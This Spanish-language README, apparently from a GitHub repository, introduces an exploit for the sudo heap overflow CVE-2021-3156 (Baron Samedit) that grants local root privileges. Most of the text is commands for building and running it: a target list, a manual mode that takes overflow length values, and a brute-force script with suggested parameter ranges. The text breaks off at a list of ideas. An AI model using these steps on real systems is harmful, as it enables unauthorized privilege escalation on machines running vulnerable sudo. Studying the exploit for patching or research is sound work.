blasty/cve-2021-3156Exploit para CVE-2021-3156 (Baron Samedit), un desbordamiento de búfer basado en montón en sudo, que permite escalada local de privilegios. Incluye lista de objetivos y modo de fuerza bruta.
Este es un exploit para la vulnerabilidad sudo CVE-2021-3156 (denominada Baron Samedit por Qualys).
compilar:
$ make
listar objetivos:
$ ./sudo-hax-me-a-sandwich
ejecutar:
$ ./sudo-hax-me-a-sandwich <target_number>
modo manual:
$ ./sudo-hax-me-a-sandwich <smash_len_a> <smash_len_b> <null_stomp_len> <lc_all_len>
Asegúrate de tener GNU parallel instalado.
$ make brute
$ ./brute.sh <smash_start> <smash_end> <null_start> <null_end> <lc_start> <lc_end>
algunos valores predeterminados para probar:
$ ./brute.sh 90 120 50 70 150 300
Consumirá todos los núcleos disponibles. No intentes hacer netflix & brute.
Envía PRs (sensatos), podría fusionarlos.
Algunas ideas: